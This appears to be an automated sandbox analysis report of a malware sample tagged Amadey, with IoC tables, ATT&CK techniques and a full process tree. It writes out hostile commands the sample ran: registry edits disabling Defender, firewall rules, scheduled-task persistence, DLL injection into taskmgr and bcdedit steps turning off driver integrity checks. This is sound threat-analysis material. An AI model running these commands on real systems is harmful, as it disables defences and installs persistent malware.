amadey | 522d7107cd7725d1f7f26aee09fb4f8eec7faf94bd9d25544be6a8a205e6293f

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	965A.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	965A.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	965A.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	965A.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	965A.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	965A.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

resource	yara_rule
behavioral1/memory/1692-140-0x0000000000220000-0x000000000027A000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Stealc
Stealc is an infostealer written in C++.
stealer stealc

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 2084 created 1212	2084	latestX.exe	12
PID 2084 created 1212	2084	latestX.exe	12
PID 2084 created 1212	2084	latestX.exe	12
PID 2084 created 1212	2084	latestX.exe	12
PID 2084 created 1212	2084	latestX.exe	12

Modifies boot configuration data using bcdedit 14 IoCs

pid	Process
2820	bcdedit.exe
3032	bcdedit.exe
548	bcdedit.exe
2320	bcdedit.exe
1448	bcdedit.exe
1120	bcdedit.exe
808	bcdedit.exe
2240	bcdedit.exe
2204	bcdedit.exe
2600	bcdedit.exe
1508	bcdedit.exe
1032	bcdedit.exe
2792	bcdedit.exe
1612	bcdedit.exe

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	latestX.exe

Modifies Windows Firewall 1 TTPs 1 IoCs

evasion

Windows Service

pid	Process
2688	netsh.exe

Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
evasion

Impair Defenses
T1562

Command and Scripting Interpreter
T1059
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Executes dropped EXE 26 IoCs

pid	Process
2644	8BDB.exe
2652	8D62.exe
2728	Om4RG9DU.exe
2444	kJ8lO9gx.exe
1836	XL0sY6xI.exe
2816	90FC.exe
2884	bj2fU1eZ.exe
1888	1cL78Sw6.exe
1984	965A.exe
1936	9977.exe
572	explothe.exe
1840	BBB7.exe
1692	C20E.exe
1832	toolspub2.exe
1052	31839b57a4f11171d6abc8bbc4451ee4.exe
960	D0A0.exe
2112	Setup.exe
2744	kos1.exe
2084	latestX.exe
2788	set16.exe
2596	is-0GSEV.tmp
2372	kos.exe
2008	previewer.exe
2156	previewer.exe
2300	explothe.exe
2292	seudsrd

Loads dropped DLL 55 IoCs

pid	Process
2644	8BDB.exe
2644	8BDB.exe
2728	Om4RG9DU.exe
2728	Om4RG9DU.exe
2444	kJ8lO9gx.exe
2444	kJ8lO9gx.exe
1932	WerFault.exe
1932	WerFault.exe
1932	WerFault.exe
1836	XL0sY6xI.exe
1836	XL0sY6xI.exe
2884	bj2fU1eZ.exe
2884	bj2fU1eZ.exe
2884	bj2fU1eZ.exe
1932	WerFault.exe
1888	1cL78Sw6.exe
1260	WerFault.exe
1260	WerFault.exe
1260	WerFault.exe
596	WerFault.exe
596	WerFault.exe
596	WerFault.exe
1260	WerFault.exe
596	WerFault.exe
1936	9977.exe
1840	BBB7.exe
1840	BBB7.exe
1840	sc.exe
1840	sc.exe
1840	sc.exe
2768	WerFault.exe
2768	WerFault.exe
2768	WerFault.exe
1840	sc.exe
1840	sc.exe
2744	kos1.exe
2788	set16.exe
2788	set16.exe
2788	set16.exe
2788	set16.exe
2596	is-0GSEV.tmp
2596	is-0GSEV.tmp
2596	is-0GSEV.tmp
2596	is-0GSEV.tmp
2744	kos1.exe
2596	is-0GSEV.tmp
2008	previewer.exe
2008	previewer.exe
2596	is-0GSEV.tmp
2156	previewer.exe
2156	previewer.exe
2164	rundll32.exe
2164	rundll32.exe
2164	rundll32.exe
2164	rundll32.exe

Unexpected DNS network traffic destination 2 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	217.23.6.51
Destination IP	51.159.66.125

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	965A.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	965A.exe

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	kJ8lO9gx.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\""	XL0sY6xI.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\""	bj2fU1eZ.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	8BDB.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	Om4RG9DU.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2384 set thread context of 2472	2384	3cV77bh.exe	28
PID 2112 set thread context of 1616	2112	Setup.exe	86

Drops file in Program Files directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\PA Previewer\previewer.exe	is-0GSEV.tmp
File created	C:\Program Files\Google\Chrome\updater.exe	latestX.exe
File created	C:\Program Files (x86)\PA Previewer\unins000.dat	is-0GSEV.tmp
File created	C:\Program Files (x86)\PA Previewer\is-56E49.tmp	is-0GSEV.tmp
File created	C:\Program Files (x86)\PA Previewer\is-JLBU3.tmp	is-0GSEV.tmp
File created	C:\Program Files (x86)\PA Previewer\is-TLIAE.tmp	is-0GSEV.tmp
File created	C:\Program Files (x86)\PA Previewer\is-8LH0A.tmp	is-0GSEV.tmp
File opened for modification	C:\Program Files (x86)\PA Previewer\unins000.dat	is-0GSEV.tmp

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1792	sc.exe
2536	sc.exe
1544	sc.exe
2200	sc.exe
2872	sc.exe
1840	sc.exe
2684	sc.exe
2800	sc.exe
768	sc.exe
2676	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 6 IoCs

pid	pid_target	Process	procid_target
2612	2384	WerFault.exe	22
1932	2652	WerFault.exe	31
1260	2816	WerFault.exe	38
596	1888	WerFault.exe	40
2768	960	WerFault.exe	63
320	1616	WerFault.exe	86

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
1528	schtasks.exe
2864	schtasks.exe
2760	schtasks.exe
1528	schtasks.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2472	AppLaunch.exe
2472	AppLaunch.exe
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1212	Explorer.EXE

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2472	AppLaunch.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1212	Explorer.EXE
Token: SeShutdownPrivilege	1212	Explorer.EXE
Token: SeShutdownPrivilege	1212	Explorer.EXE
Token: SeDebugPrivilege	1984	965A.exe
Token: SeShutdownPrivilege	1212	Explorer.EXE
Token: SeShutdownPrivilege	1212	Explorer.EXE
Token: SeShutdownPrivilege	1212	Explorer.EXE
Token: SeShutdownPrivilege	1212	Explorer.EXE
Token: SeShutdownPrivilege	1212	Explorer.EXE
Token: SeShutdownPrivilege	1212	Explorer.EXE
Token: SeShutdownPrivilege	1212	Explorer.EXE
Token: SeShutdownPrivilege	1212	Explorer.EXE
Token: SeShutdownPrivilege	1212	Explorer.EXE
Token: SeDebugPrivilege	2008	previewer.exe
Token: SeDebugPrivilege	2372	kos.exe
Token: SeDebugPrivilege	2156	previewer.exe
Token: SeDebugPrivilege	2112	Setup.exe
Token: SeDebugPrivilege	1884	powershell.exe
Token: SeShutdownPrivilege	1212	Explorer.EXE
Token: SeShutdownPrivilege	2960	powercfg.exe
Token: SeDebugPrivilege	2580	powershell.exe
Token: SeShutdownPrivilege	1828	powercfg.exe
Token: SeShutdownPrivilege	3052	cmd.exe
Token: SeShutdownPrivilege	2992	conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2384 wrote to memory of 2472	2384	3cV77bh.exe	28
PID 2384 wrote to memory of 2472	2384	3cV77bh.exe	28
PID 2384 wrote to memory of 2472	2384	3cV77bh.exe	28
PID 2384 wrote to memory of 2472	2384	3cV77bh.exe	28
PID 2384 wrote to memory of 2472	2384	3cV77bh.exe	28
PID 2384 wrote to memory of 2472	2384	3cV77bh.exe	28
PID 2384 wrote to memory of 2472	2384	3cV77bh.exe	28
PID 2384 wrote to memory of 2472	2384	3cV77bh.exe	28
PID 2384 wrote to memory of 2472	2384	3cV77bh.exe	28
PID 2384 wrote to memory of 2472	2384	3cV77bh.exe	28
PID 2384 wrote to memory of 2612	2384	3cV77bh.exe	29
PID 2384 wrote to memory of 2612	2384	3cV77bh.exe	29
PID 2384 wrote to memory of 2612	2384	3cV77bh.exe	29
PID 2384 wrote to memory of 2612	2384	3cV77bh.exe	29
PID 1212 wrote to memory of 2644	1212	Explorer.EXE	30
PID 1212 wrote to memory of 2644	1212	Explorer.EXE	30
PID 1212 wrote to memory of 2644	1212	Explorer.EXE	30
PID 1212 wrote to memory of 2644	1212	Explorer.EXE	30
PID 1212 wrote to memory of 2644	1212	Explorer.EXE	30
PID 1212 wrote to memory of 2644	1212	Explorer.EXE	30
PID 1212 wrote to memory of 2644	1212	Explorer.EXE	30
PID 1212 wrote to memory of 2652	1212	Explorer.EXE	31
PID 1212 wrote to memory of 2652	1212	Explorer.EXE	31
PID 1212 wrote to memory of 2652	1212	Explorer.EXE	31
PID 1212 wrote to memory of 2652	1212	Explorer.EXE	31
PID 2644 wrote to memory of 2728	2644	8BDB.exe	32
PID 2644 wrote to memory of 2728	2644	8BDB.exe	32
PID 2644 wrote to memory of 2728	2644	8BDB.exe	32
PID 2644 wrote to memory of 2728	2644	8BDB.exe	32
PID 2644 wrote to memory of 2728	2644	8BDB.exe	32
PID 2644 wrote to memory of 2728	2644	8BDB.exe	32
PID 2644 wrote to memory of 2728	2644	8BDB.exe	32
PID 1212 wrote to memory of 2520	1212	Explorer.EXE	33
PID 1212 wrote to memory of 2520	1212	Explorer.EXE	33
PID 1212 wrote to memory of 2520	1212	Explorer.EXE	33
PID 2728 wrote to memory of 2444	2728	Om4RG9DU.exe	37
PID 2728 wrote to memory of 2444	2728	Om4RG9DU.exe	37
PID 2728 wrote to memory of 2444	2728	Om4RG9DU.exe	37
PID 2728 wrote to memory of 2444	2728	Om4RG9DU.exe	37
PID 2728 wrote to memory of 2444	2728	Om4RG9DU.exe	37
PID 2728 wrote to memory of 2444	2728	Om4RG9DU.exe	37
PID 2728 wrote to memory of 2444	2728	Om4RG9DU.exe	37
PID 2652 wrote to memory of 1932	2652	8D62.exe	36
PID 2652 wrote to memory of 1932	2652	8D62.exe	36
PID 2652 wrote to memory of 1932	2652	8D62.exe	36
PID 2652 wrote to memory of 1932	2652	8D62.exe	36
PID 2444 wrote to memory of 1836	2444	kJ8lO9gx.exe	35
PID 2444 wrote to memory of 1836	2444	kJ8lO9gx.exe	35
PID 2444 wrote to memory of 1836	2444	kJ8lO9gx.exe	35
PID 2444 wrote to memory of 1836	2444	kJ8lO9gx.exe	35
PID 2444 wrote to memory of 1836	2444	kJ8lO9gx.exe	35
PID 2444 wrote to memory of 1836	2444	kJ8lO9gx.exe	35
PID 2444 wrote to memory of 1836	2444	kJ8lO9gx.exe	35
PID 1212 wrote to memory of 2816	1212	Explorer.EXE	38
PID 1212 wrote to memory of 2816	1212	Explorer.EXE	38
PID 1212 wrote to memory of 2816	1212	Explorer.EXE	38
PID 1212 wrote to memory of 2816	1212	Explorer.EXE	38
PID 1836 wrote to memory of 2884	1836	XL0sY6xI.exe	39
PID 1836 wrote to memory of 2884	1836	XL0sY6xI.exe	39
PID 1836 wrote to memory of 2884	1836	XL0sY6xI.exe	39
PID 1836 wrote to memory of 2884	1836	XL0sY6xI.exe	39
PID 1836 wrote to memory of 2884	1836	XL0sY6xI.exe	39
PID 1836 wrote to memory of 2884	1836	XL0sY6xI.exe	39
PID 1836 wrote to memory of 2884	1836	XL0sY6xI.exe	39

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1212
- C:\Users\Admin\AppData\Local\Temp\3cV77bh.exe
  "C:\Users\Admin\AppData\Local\Temp\3cV77bh.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2384
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    - Checks SCSI registry key(s)
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    PID:2472
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2384 -s 136
    3⤵
    - Program crash
    PID:2612
- C:\Users\Admin\AppData\Local\Temp\8BDB.exe
  C:\Users\Admin\AppData\Local\Temp\8BDB.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:2644
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Om4RG9DU.exe
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Om4RG9DU.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:2728
  - - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\kJ8lO9gx.exe
      C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\kJ8lO9gx.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:2444
- C:\Users\Admin\AppData\Local\Temp\8D62.exe
  C:\Users\Admin\AppData\Local\Temp\8D62.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2652
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2652 -s 132
    3⤵
    - Loads dropped DLL
    - Program crash
    PID:1932
- C:\Windows\system32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\8E5D.bat" "
  2⤵
  PID:2520
- C:\Users\Admin\AppData\Local\Temp\90FC.exe
  C:\Users\Admin\AppData\Local\Temp\90FC.exe
  2⤵
  - Executes dropped EXE
  PID:2816
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2816 -s 132
    3⤵
    - Loads dropped DLL
    - Program crash
    PID:1260
- C:\Users\Admin\AppData\Local\Temp\965A.exe
  C:\Users\Admin\AppData\Local\Temp\965A.exe
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  - Executes dropped EXE
  - Windows security modification
  - Suspicious use of AdjustPrivilegeToken
  PID:1984
- C:\Users\Admin\AppData\Local\Temp\9977.exe
  C:\Users\Admin\AppData\Local\Temp\9977.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1936
- - C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
    "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe"
    3⤵
    - Executes dropped EXE
    PID:572
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explothe.exe /TR "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe" /F
      4⤵
      Creates scheduled task(s)
      PID:1528
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "explothe.exe" /P "Admin:N"&&CACLS "explothe.exe" /P "Admin:R" /E&&echo Y|CACLS "..\fefffe8cea" /P "Admin:N"&&CACLS "..\fefffe8cea" /P "Admin:R" /E&&Exit
      4⤵
      PID:1640
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        5⤵
        
        PID:1504
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "explothe.exe" /P "Admin:N"
        5⤵
        
        PID:1784
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "explothe.exe" /P "Admin:R" /E
        5⤵
        
        PID:2320
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\fefffe8cea" /P "Admin:N"
        5⤵
        
        PID:2156
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        5⤵
        
        PID:2304
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\fefffe8cea" /P "Admin:R" /E
        5⤵
        
        PID:2348
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
      4⤵
      Loads dropped DLL
      PID:2164
- C:\Users\Admin\AppData\Local\Temp\BBB7.exe
  C:\Users\Admin\AppData\Local\Temp\BBB7.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1840
- - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
    "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
    3⤵
    - Executes dropped EXE
    PID:1832
- - C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
    "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
    3⤵
    - Executes dropped EXE
    PID:1052
  - - C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
      "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
      4⤵
      PID:272
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:1840
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:2688
    - - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        5⤵
        
        PID:2672
      - C:\Windows\system32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:1528
      - C:\Windows\system32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        6⤵
        
        PID:1396
      - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        6⤵
        
        PID:1104
      - C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
        
        "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
        6⤵
        
        PID:996
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2820
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:3032
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:548
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2320
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:1448
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:1120
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:808
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2240
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2204
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2600
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:1508
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -timeout 0
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:1032
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2792
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\Sysnative\bcdedit.exe /v
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:1612
      - C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
        6⤵
        
        PID:2116
- - C:\Users\Admin\AppData\Local\Temp\Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    PID:2112
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:1616
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1616 -s 44
        5⤵
        Program crash
        
        PID:320
- - C:\Users\Admin\AppData\Local\Temp\kos1.exe
    "C:\Users\Admin\AppData\Local\Temp\kos1.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2744
  - - C:\Users\Admin\AppData\Local\Temp\set16.exe
      "C:\Users\Admin\AppData\Local\Temp\set16.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2788
    - - C:\Users\Admin\AppData\Local\Temp\is-NR068.tmp\is-0GSEV.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-NR068.tmp\is-0GSEV.tmp" /SL4 $C0184 "C:\Users\Admin\AppData\Local\Temp\set16.exe" 1232936 52224
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Program Files directory
        
        PID:2596
      - C:\Windows\SysWOW64\net.exe
        
        "C:\Windows\system32\net.exe" helpmsg 8
        6⤵
        
        PID:2864
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 helpmsg 8
        7⤵
        
        PID:816
      - C:\Program Files (x86)\PA Previewer\previewer.exe
        
        "C:\Program Files (x86)\PA Previewer\previewer.exe" -i
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:2008
      - C:\Program Files (x86)\PA Previewer\previewer.exe
        
        "C:\Program Files (x86)\PA Previewer\previewer.exe" -s
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:2156
  - - C:\Users\Admin\AppData\Local\Temp\kos.exe
      "C:\Users\Admin\AppData\Local\Temp\kos.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:2372
